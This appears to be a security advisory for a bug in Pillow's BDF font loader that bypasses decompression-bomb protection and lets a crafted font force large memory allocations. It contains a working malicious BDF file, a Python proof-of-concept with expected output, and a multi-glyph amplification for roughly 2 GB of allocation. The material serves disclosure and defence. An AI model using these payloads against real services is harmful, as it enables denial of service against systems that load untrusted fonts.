Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H상세 설명
Summary
PIL/BdfFontFile.py bdf_char() (lines 84–88) reads the BBX width height field from a BDF font file and passes the dimensions directly to Image.new() without calling Image._decompression_bomb_check(). This completely bypasses Pillow's documented decompression bomb protection.
Image.open() enforces MAX_IMAGE_PIXELS = 89,478,485 and raises DecompressionBombError for images exceeding 2 × MAX = 178,956,970 pixels. The BDF font loading path calls Image.new() directly, which only calls _check_size() (validates >= 0) — no pixel count limit.
Vulnerable code (PIL/BdfFontFile.py lines 84–88):
1# width, height from attacker-controlled "BBX width height x y" line 2try: 3 im = Image.frombytes("1", (width, height), bitmap, "hex", "1") 4except ValueError: 5 # TRIGGERED when BITMAP section is empty (zero hex lines) 6 im = Image.new("1", (width, height)) # ← NO _decompression_bomb_check()! 7 # ^ This image is stored in self.glyph[ch] — persists in memoryAttack trigger: A BDF glyph with BBX 20000 20000 and an empty BITMAP section causes Image.frombytes() to raise ValueError, then Image.new("1", (20000, 20000)) allocates 50 MB of C-heap silently. Image.open() would raise DecompressionBombError for the same dimensions.
Steps to reproduce
Minimal malicious BDF file (270 bytes):
1STARTFONT 2.1 2SIZE 16 75 75 3FONTBOUNDINGBOX 16 16 0 -4 4STARTPROPERTIES 1 5COMMENT placeholder 6ENDPROPERTIES 7CHARS 1 8STARTCHAR A 9ENCODING 6510SWIDTH 500 011DWIDTH 8 012BBX 20000 20000 0 013BITMAP14ENDCHAR15ENDFONTProof of Concept script:
1#!/usr/bin/env python3 2"""PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation""" 3import io, warnings 4warnings.filterwarnings("ignore") 5 6from PIL.BdfFontFile import BdfFontFile 7from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError 8 9W, H = 20000, 20000 # 400M pixels → above DecompressionBombError threshold10 11# Show what Image.open() would do12warnings.filterwarnings("error", category=DecompressionBombWarning)13try:14 _decompression_bomb_check((W, H))15except (DecompressionBombWarning, DecompressionBombError) as e:16 print(f"[Image.open() path] BLOCKED by {type(e).__name__}")17warnings.filterwarnings("ignore")18 19# Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check20bdf = f"""STARTFONT 2.121SIZE 16 75 7522FONTBOUNDINGBOX 16 16 0 -423STARTPROPERTIES 124COMMENT x25ENDPROPERTIES26CHARS 127STARTCHAR A28ENCODING 6529SWIDTH 500 030DWIDTH 8 031BBX {W} {H} 0 032BITMAP33ENDCHAR34ENDFONT35""".encode()36 37print(f"[*] BDF file size : {len(bdf)} bytes")38print(f"[*] Glyph size : {W} x {H} = {W*H:,} pixels")39print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)")40 41BdfFontFile(io.BytesIO(bdf)) # No exception — bomb check bypassed!42 43print(f"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated")44print(f" Image.open() path would have raised DecompressionBombError")Expected output:
1[Image.open() path] BLOCKED by DecompressionBombError 2[*] BDF file size : 270 bytes 3[*] Glyph size : 20000 x 20000 = 400,000,000 pixels 4[*] C-heap target : 47 MB (mode '1' = 1 bit/pixel) 5[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated 6 Image.open() path would have raised DecompressionBombErrorAmplified attack (multiple glyphs):
A BDF file defining 256 glyphs each at BBX 8000 8000 causes 256 × 7.6 MB = ~1.95 GB total C-heap allocation — all silently, bypassing documented bomb protection.
Impact
- Availability: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs
- Confidentiality: None
- Integrity: None
- Any service loading BDF fonts from untrusted sources (e.g.,
ImageFont.load("user.bdf"),BdfFontFile(fp)) is affected - Loaded glyph images persist in
self.glyph[ch]for the lifetime of the font object — memory is NOT freed until the font is garbage collected
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 6
링크 내용 불러오는 중…